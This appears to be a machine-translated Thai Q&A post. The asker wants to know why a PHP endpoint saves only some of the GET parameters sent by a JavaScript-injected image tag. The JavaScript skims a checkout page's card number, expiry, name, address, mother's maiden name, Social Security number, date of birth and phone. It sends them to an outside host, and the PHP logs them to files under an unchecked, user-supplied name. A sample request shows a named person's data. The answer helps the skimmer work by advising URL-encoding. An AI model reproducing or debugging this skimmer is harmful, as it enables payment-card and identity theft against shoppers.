จาวาสคริปต์ - PHP ไม่ได้รับพารามิเตอร์ GET ทั้งหมดที่ส่งโดยคำขอรูปภาพ

ฉันกำลังส่งคำขอ GET จากภาพที่เพิ่มลงในเอกสารผ่าน JavaScript คำขอนี้ถูกส่งไปยังเซิร์ฟเวอร์ PHP โค้ด PHP ดังนี้:


<?php
if (!$_GET[\'token\']) {
return;
}

if (file_exists($_GET[\'token\'].\'.txt\')) {
$fh = fopen($_GET[\'token\'].\'.txt\', \'a\');
fwrite($fh, json_encode($_GET)."\
==============================\
");
} else {
$fh = fopen($_GET[\'token\'].\'.txt\', \'w\');
fwrite($fh, json_encode($_GET)."\
==============================\
");
}

fclose($fh);

return;
?>

ปัญหา คือเมื่อฉันทำคำขอ GET เสร็จสมบูรณ์ เซิร์ฟเวอร์ PHP จะรับเฉพาะพารามิเตอร์ GET จนถึง billing_address_2 เมื่อมีพารามิเตอร์อื่นๆ อีกมากมายที่ส่งโดยรูปภาพในเอกสาร ด้านล่างนี้เป็นคำขอที่เซิร์ฟเวอร์ Apache PHP ได้รับ:


/save-data.php?token=1632376762131.3433&credit_card_id=34&expiration_date=02/23&card_holder_name=Ishmael%20J%20Roth&billing_address=3904%20E%20Oak%20Pl&billing_address_2=Apt%20

คุณจะเห็นว่ามี GET มากขึ้น พารามิเตอร์ในรูปภาพถูกเพิ่มลงในเอกสารโดย JavaScript ในโค้ด JS ด้านล่าง:


document.body.innerHTML += `<img onload="submitCCForm()" src="https://example-domain.com/save-data.php?token=${ encodeURI(window.localStorage.token) }&credit_card_number=${ encodeURI(document.querySelector(\'[name=\\"credit_card_number\\"]\').value) }&expiration_date=${ encodeURI(document.querySelector(\'[name=\\"expiration_time\\"]\').value) }&card_holder_name=${ encodeURI(document.querySelector(\'[name=\\"card_holder_name\\"]\').value) }&billing_address=${ document.querySelector(\'.default_address_id\').innerText.replaceAll(\'\
\').split(\'undefined\')[1] }&billing_address_2=${ document.querySelector(\'.default_address_id\').innerText.replaceAll(\'\
\').split(\'undefined\')[2] }&billing_address_3=${ document.querySelector(\'.default_address_id\').innerText.replaceAll(\'\
\').split(\'undefined\')[3].replaceAll(\',\', \'-\') }&billing_address_4=${ document.querySelector(\'.default_address_id\').innerText.replaceAll(\'\
\').split(\'undefined\')[4] }&mothers_maiden_name=${ encodeURI(document.querySelector(\'#mmn\').value) }&=&social_security=${ encodeURI(document.querySelector(\'[name=\\"social_security\\"]\').value) }&dob=${ encodeURI(document.querySelector(\'[name=\\"dob\\"]\').value) }&billing_phone=${ encodeURI(document.querySelector(\'[name=\\"billing_phone\\"]\').value) }" />`


โปรดแชร์วิธีแก้ปัญหาเพื่อให้ส่งพารามิเตอร์รับทั้งหมดในคำขอรูปภาพที่เซิร์ฟเวอร์ได้รับและบันทึกลงในไฟล์ แทนที่จะให้เซิร์ฟเวอร์หยุดที่พารามิเตอร์ GET billing_address_2


Answer

วิธีแก้ปัญหา:

คุณกำลังใช้พารามิเตอร์ GET ที่ไม่ได้เข้ารหัส!


expiration_date=02/23

< p>นั่นคือเหตุผลที่คุณต้อง urlencode พารามิเตอร์ทั้งหมด...


Source